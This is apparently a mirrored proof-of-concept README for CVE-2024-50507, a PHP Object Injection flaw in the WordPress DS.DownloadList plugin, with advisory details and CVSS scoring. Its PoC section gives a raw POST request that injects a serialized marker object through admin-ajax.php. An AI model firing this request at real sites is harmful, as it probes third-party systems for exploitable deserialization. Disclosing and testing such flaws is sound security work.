CVE-2024-50507 PoC — WordPress DS.DownloadList plugin <= 1.3 - PHP Object Injection vulnerability

Source

Associated Vulnerability

Description

DS.DownloadList <= 1.3 - Unauthenticated PHP Object Injection

Readme

# CVE-2024-50507
DS.DownloadList <= 1.3 - Unauthenticated PHP Object Injection

# Description

The DS.DownloadList plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.3 via deserialization of untrusted input. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.

## Details

- **Type**: plugin
- **Slug**: dsdownloadlist
- **Affected Version**: 1.3
- **CVSS Score**: 8.1
- **CVSS Rating**: High
- **CVSS Vector**: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
- **CVE**: CVE-2024-50507
- **Status**: Closed

POC
---
```
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

action=dsdl&atts=TzoyMDoiUEhQX09iamVjdF9JbmplY3Rpb24iOjA6e30=
```

File Snapshot

 [4.0K]  /data/pocs/b68a74d4eb3427a01ee5a5b06e5866abe8936f7d
└── [1.0K]  README.md

0 directories, 1 file

Remarks